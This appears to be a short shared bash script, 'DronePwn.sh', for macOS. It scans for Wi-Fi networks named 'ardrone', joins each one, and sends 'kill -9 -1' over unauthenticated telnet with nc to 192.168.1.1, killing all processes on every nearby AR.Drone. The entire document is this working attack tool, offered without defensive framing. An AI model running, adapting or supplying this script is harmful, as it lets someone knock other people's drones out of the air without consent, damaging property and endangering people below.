nicholasadamou
3/23/2014 - 7:26 AM

DronePwn.sh

#!/bin/bash
# DronePwn.sh
# Based on Darren Kitchen Conecpt
# Written for OS X 10.9 (but will probably work on most other versions)
# Written by Tesla while very bored
INTERFACE=''
if [[ -z $1 ]]
then
	echo "[-] No interface specified, attemting to determine wireless interface. . ."
	INTERFACE=$(ifconfig | grep -v '127.0.0.1' | grep -v 'bridge' | grep -B3 -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep flags | awk '{print $1}' | sed 's/://g')
	echo "[-] Selected $INTERFACE as wireless interface"
else
	INTERFACE=$1
fi
while (true) do
	echo "[*] Scanning for APs with ESSIDs that begin with ardrone. . ."
	ntwrks=( $(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | grep 'ardrone' | awk '{print $1}') )
	for ntwrk in "${ntwrks[@]}"
	do
		echo "[*] Attemting to associate with ESSID: ${ntwrk}. . ."
		if networksetup -setairportnetwork $INTERFACE $ntwrk > /dev/null 2>/dev/null
		then
			echo "[*] Success!"
			echo "[*] Attemting to connect and issue kill command. . ."
			printf "kill -9 -1\r\n\r\n" | nc 192.168.1.1 23
			echo "[*] Moving to next AP (if any). . ."
		else
			echo "[*] Failed to associate!"
		fi
	done
	sleep 1
done